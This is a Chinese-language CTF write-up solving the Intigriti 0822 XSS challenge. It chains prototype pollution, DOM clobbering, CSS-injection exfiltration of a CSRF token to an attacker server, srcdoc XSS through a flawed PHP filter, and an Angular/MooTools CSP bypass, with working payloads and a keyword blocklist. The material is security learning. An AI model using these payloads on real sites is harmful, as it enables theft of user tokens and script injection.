Intigriti 0822 XSS Challenge Writeup
最近解了 Intigriti 0822 XSS Challenge,並成功在這題上面獲得了 First Blood。這題結合了多種前端的攻擊技巧,也有些值得學習的新利用方法可以學,所以會簡單紀錄一下我的解法
Overview
題目有提供 source code,所以先羅列些可能可利用的點出來:
app.php
可透過#msg=
指定 html,然後會經過 DOMPurify 2.3.6 sanitize 過之後 html injection,但在不到一秒的時間後就會被移除掉app.php
有直接的 html injection:value="<?= $_SESSION['name']; ?>"
,但長度需小於 20preview.php
可以透過 POST 參數desc
,雖然它會經過 html filter,但由於那 filter 方式是錯誤的所以可以 CSRF -> XSSpreview.php
會驗證 CSRF Token,而 CSRF Token 會出現在app.php
的頁面上- 全站都有 CSP,但是因為有允許
https://cdnjs.cloudflare.com/ajax/libs/
所以顯然是用 Angular.js 去繞
從這五個點就已足夠看出大致攻擊流程了:
- 透過
app.php
用某些方法 (e.g. CSS Injection) 偷到 CSRF Token - 以 Token 去 CSRF
preview.php
達成 XSS - 使用 Angular.js 繞過 CSP
然而這邊有幾個問題,例如 html injection
的內容在短時間內就會被移除掉,導致難以 CSS Injection,所以需要找方法繞過。再來是 CSS Injection 因為 html 架構的一些原因實際執行起來並沒那麼簡單,這些問題都得一一解決。
Bypass HTML Injection Timeout
這個是整個 app.js
的內容:
let isDarkMode = false
let theme
initTheme()
document.querySelector('.btn-update-name').addEventListener('click', () => {
const name = prompt('Please input new name')
if (!name) return
const csrfToken = document.querySelector('meta[name="csrf-token"]').content
fetch('./update-name.php', {
method: 'POST',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: `csrf-token=${encodeURIComponent(csrfToken)}&name=${encodeURIComponent(name)}`
})
.then(r => r.text())
.then(res => {
if (res === 'success') {
document.querySelector('#nameField').value = name
}
alert(res)
}).catch(e => {
alert('Failed:' + e.toString())
})
})
function initTheme() {
if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
isDarkMode = true
}
fetch("theme.php")
.then((res) => res.json())
.then((serverTheme) => {
theme = {
primary: {},
secondary: {}
}
for(let themeName in serverTheme) {
const currentTheme = theme[themeName]
const currentServerTheme = serverTheme[themeName]
for(let item in currentServerTheme) {
currentTheme[item] = () => isDarkMode ? currentServerTheme[item].dark : currentServerTheme[item].light
}
}
const themeDiv = document.querySelector('.theme-text')
themeDiv.innerText = `Primary - Text: ${theme?.primary?.text()}, Background: ${theme?.primary?.bg()}
Secondary - Text: ${theme?.secondary?.text()}, Background: ${theme?.secondary?.bg()}
`
start()
})
}
function start() {
const message = decodeURIComponent(location.hash.replace('#msg=', ''))
if (!message.length) return
const options = {}
if (document.domain.match(/testing/)) {
options['production'] = false
} else {
options['production'] = true
options['timeout'] = () => Math.random()*300 + 300
}
showMessage(message, {
container: document.querySelector('body'),
...options
})
}
function showMessage(message, options) {
const getTimeout = options.timeout || (() => 500)
const container = options.container || document.querySelector('body')
const modal = document.createElement('div')
modal.id = 'messageModal'
modal.innerHTML = DOMPurify.sanitize(message)
container.appendChild(modal)
history.replaceState(null, null, ' ')
setTimeout(() => {
container.removeChild(modal)
}, getTimeout())
}
首先 fetch theme.php
做某些事之後進到 start
,然後判斷 document.domain
決定是否是 production
和要不要指定 timeout
參數,然後最後 timeout
會被用在 removeChild
的 timeout。單從這邊來看是看不出什麼方法繞過這個時間限制的,所以可以關注前面的部分。
在上面 fetch 的 response 處理部分可以發現說如果 serverTheme
可控,那麼我們是可以在這邊做到 prototype pollution 的,且我們 pollute 的值會是個單純 return 一個值的 function。例如假設 serverTheme
多了 __proto__
像是下面這樣:
...
"__proto__": {
"asd": {
"dark": true,
"light": true
}
}
那麼 Object.prototype.asd() === true
就會成立。因此假設說 start
那邊進到了 document.domain.match(/testing/)
的 branch,那麼只要 pollute Object.prototype.timeout
讓它回傳一個很大的數,我們就能讓 html injection 持續的比較久一點。
而要控制 serverTheme
也不難,因為可以看到說它會把 body 當作 JSON parse,之後輸出 format 過的 JSON 出來,中間並沒有檢查 Content-Type
,所以這邊可以用知名的 CSRF JSON 招數繞過即可。
不過這樣的話問題就變成了要怎麼讓 document.domain.match(/testing/)
成立。雖然 Google 一下可以知道 0121 的 xss challenge 有支援 *.challenge-0121.intigriti.io
,所以像是 testing.challenge-0121.intigriti.io 都能 work,但是這題並沒有這樣的設計,所以這招沒辦法使用。
這邊要繞過的關鍵就是使用那個 20 字以內的 injection 了,因為 injection 的地方是在一個 attribute 之中,所以塞 "><img name=domain>
剛剛好可以 clobber 到 document.domain
,此時它會是個 HTMLElement,上面並沒有 .match
的函數所以會出錯。這邊就要再用一次 prototype pollution,直接讓 Object.prototype.match() === true
成立就能讓它通過條件檢查,進到 branch,並成功達成讓 HTML Injection 持久的效果。
總之這邊要做的事就是先 CSRF JSON 修改 theme,去 prototype pollution 修改 timeout()
和 match()
讓它 timeout 變很長,使 HTML Injection 的部分可以持久保持在頁面上,方便後面的利用。
CSS Injection
因為要 CSRF preview.php
會需要 CSRF Token,所以需要找方法 leak CSRF Token 出來才行。而 DOMPurify 預設允許的 tag 之一就有 <style>
,所以方法很明顯就是 CSS Injection。
PS:
DOMPurify.sanitize('<style></style>')
會是空字串,但DOMPurify.sanitize('a<style></style>')
不會,這是因為 DOMPurify 內部處理是直接使用DOMParser
,所以行為就類似 browser 處理 HTML5 一樣,預設 style 會被放到<head>
之中
這題 app.php
頁面的 CSRF Token 有兩個地方:
<head>
<!-- other elements omitted -->
<meta name="csrf-token" content="<?= $csrf_token ?>">
</head>
<div>
<input type="hidden" name="csrf-token" value="<?= $csrf_token ?>" />
</div>
input
的部分應該比較常見,就是 input[value^=a]
這樣去 match,然後透過 background: url(http://attacker/?leak=a)
這樣的方法回傳達成的。然而這邊有個很大的問題是 type="hidden"
會導致整個 element 都不會顯示出來,從而也使 background
的部分也不載入,因此沒辦法透過這個地方 leak。
雖然 Google 一下很快就能找到 input[value^=a] ~ *
的方法去 match 對應 input 同層級後面的任意 element 來代替,但是這邊 input
是 div
底下的唯一元素,因此這招也不能用。
其實 css 還有個比較新的功能是 :has
,在支援的瀏覽器上可以用 div:has(input[value^=a])
的方法去 match 那個 div
。然而 :has
在 Chromium 中是在 105 版本才加入的,而 Chrome Stable 升到 105 的日期是 2022/08/30,也就是這個 challenge 結束的兩天後才會正式 release,因此這招也不能用。
這邊的關鍵是注意到頁面的 <meta>
的 content
中也是有 CSRF Token,但由於它是個隱藏的元素,所以 background
一樣是沒有作用的。不過如果加上了 head, meta { display:block; }
會發現很有趣的事,就是 <head>
中的元素真的能用 display: block;
讓它變得可見,此時 background
也真的能產生作用,因此用 meta[content^=a]
去 leak 這個招數是確實可行的。
因為要在一次把整個 CSRF Token (32 chars) leak 出來,所以需要一些 CSS @import
的利用配合 server 動態生成 CSS 才能達成,我是參考 Sequential Import Chaining 的方法弄的。基本上就是先弄 32 個 <style>
裡面每個都放一個 @import 'SERVER/polling/{i}';
,然後 server 先處理回傳 i=0
的 css 像是:
meta[content^=0] {
background: url('SERVER/leak/0');
}
meta[content^=1] {
background: url('SERVER/leak/1');
}
...
假設第一個字元是 a
,那麼當 server 收到 /leak/a
的時候再回傳 i=1
的 response 時再回傳:
meta[content^=a0] {
background: url('SERVER/leak/a0');
}
meta[content^=a1] {
background: url('SERVER/leak/a1');
}
...
用這個方法就能反覆的一個一個字元 leak 出來了。不過實際上實作會遇到一些問題,例如 Chromium 一般對一個 host 最多只會有 6 個 connections,當前面 polling 卡住的時候時候 /leak/?
是送不出去的。
繞過方法也很簡單,就是提供兩個 host 就能繞過這個問題了。像是我是用 Flask 在一個 port 上 listen,然後接 socat 直接 proxy 到另一個 port 去,然後讓 polling 和 leak 使用不同的 port 就能繞過這點了。另外是我後來因為需要 https 才能繞過 mixed content 的問題把 exploit 弄到我的網站上面,因為是有 CloudFlare 在前端當 proxy 所以有 HTTP/3,發現說在 HTTP/3 的情況下可以直接使用同個 host 也不會卡住,所以其實不用這麼麻煩。我猜 HTTP/2 大概也有一樣的效果吧。
XSS + Angular CSP Bypass
拿到 CSRF Token 之後就能 CSRF 攻擊 preview.php
了,它雖然有 escape html 但處理是有問題的:
$desc = htmlspecialchars($desc);
$desc = preg_replace('/(https?:\/\/www\.youtube\.com\/embed\/[^\s]*)/', '<iframe src="$1"></iframe>', $desc);
$desc = preg_replace('/(https?:\/\/[^\s]*\.(png|jpg|gif))/', '<img src="$1">', $desc);
因為它在 escape 之後還會 replace html 內容,以下的內容經過這些處理之後會變成更下面那樣:
http://www.youtube.com/embed/srcdoc='asd'.png
<iframe src="<img src="http://www.youtube.com/embed/srcdoc='asd'.png">"></iframe>
因此我們透過兩層替換讓 payload 跑到 attribute context,然後用 srcdoc 在裡面 XSS
這個只在 php 7 有用,因為 php 8 的
htmlspecialchars
預設選項有ENT_QUOTES
,導致它也會 escape'
,可能會變得更麻煩
最後是要繞 CSP,因為最初那個 iframe 是 hidden 的,且又不要 user interaction 的話最穩定的繞法是使用 Angular.js + Prototype.js:
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
</div>
其實用比較新舊的 Angular.js 沒有 Sandbox 保護很容易達成 eval,但是因為會違反 CSP 所以還是要找方法透過在
ng-csp
模擬的執行環境中拿到window
才行
然而 preview.php
有對 $desc
做些 blacklist 檢查:
$dangerous_words = ['eval', 'setTimeout', 'setInterval', 'Function', 'constructor', 'proto', 'on', '%', '&', '#', '?', '\\'];
foreach ($dangerous_words as $word) {
if (stripos($desc, $word) !== false){
header("Location: app.php#msg=dangerous word detected!");
die();
}
}
其中就禁止了 proto
和其他 html 相關的 escape 字元,所以沒辦法使用 prototype.js
,所以要找有沒有類似的替代品。因為直接 Google 都找不太到相關的資訊,所以需要自己理解這個 Angular Sandbox Escape 是怎麼做到的才行。它的關鍵在於這裡:
function curry() {
if (!arguments.length) return this;
var __method = this, args = slice.call(arguments, 0);
return function() {
var a = merge(args, arguments);
return __method.apply(this, a);
}
}
可以知道當它沒有參數時會直接 return this
,然後熟悉 javascript 機制的人應該知道 this
在不存在的情況下會是 global:
function f() { return this }
const o = { f }
// all true
console.log(f() === window)
console.log(o.f() === o)
console.log(f.call(o) === o)
console.log(f.call() === window)
所以我們的目標很簡單,就是在 cdnjs 上找到一個會動 builtin object 的 prototype
的 library,且裡面還要包含 return this
才行。而我的思路是想說如今 2022 基本上除了 polyfill 應該比較少有動 prototype 的 library,所以應該要往舊的 library 找找看。而想到 Prototype.js 同個時代的 library 也有其他不少選擇,而其中最著名的應該是 MooTools,因為它就是 Array.prototype.includes
不叫 Array.prototype.contains
的主要原因。另外和 MooTools 有關的類似情況還有 SmooshGate,兩者都是因為 MooTools 會修改內建的 prototype 有關。
總之我們找到了會改 Prototype 的 library,所以在 mootools-core.js 中搜尋一下 return this
可以找到:
Function.prototype.overloadSetter = function(usePlural){
var self = this;
return function(a, b){
if (a == null) return this;
if (usePlural || typeof a != 'string'){
for (var k in a) self.call(this, k, a[k]);
/*<ltIE8>*/
forEachObjectEnumberableKey(a, self, this);
/*</ltIE8>*/
} else {
self.call(this, a, b);
}
return this;
};
};
因此只要 fn.overloadSetter().call()
就能拿到 window
物件,使用這個方法微調一下 Angular.js 中的 expression 就能繞過 CSP 得到 alert(document.domain)
了:
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js></script>
<script src=https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.js></script>
<body ng-app ng-csp>
{{a=$apply.overloadSetter().call()}}{{a.alert(a.document.domain)}}
</body>
Final Exploit
完整的 Exploit 可以在這邊下載: exp.tar.gz
這個題目真的相當有趣,綜合了許多常見的招式結合在一起,並且還有些不同的改變 (如 <meta>
, MooTools
等等),需要能把許多基本功合在一起才有辦法解開這題。另外還讓我第一次學到了怎麼做一個實際的 CSS Injection,而不只是了解粗略概念而已。
另外是我這篇文章中的 CSS Injection 方法在 Firefox 上是有些小問題的,因為它在處理 @import
和 Chromium 不太相同。根據 Huli 所說可以參考 CSS data exfiltration in Firefox via a single injection point 的方法做些修正之後應該就能成功了,可能之後有空會來研究看看它們的差異究竟在哪。
Appendix
作者之一 Huli 的 writeup: Intigriti 0822 XSS Challenge Author Writeup
作者之一 Bruno 的 writeup: BrunoHalltari/CTF-Writeups - challenge-0822.intigriti.io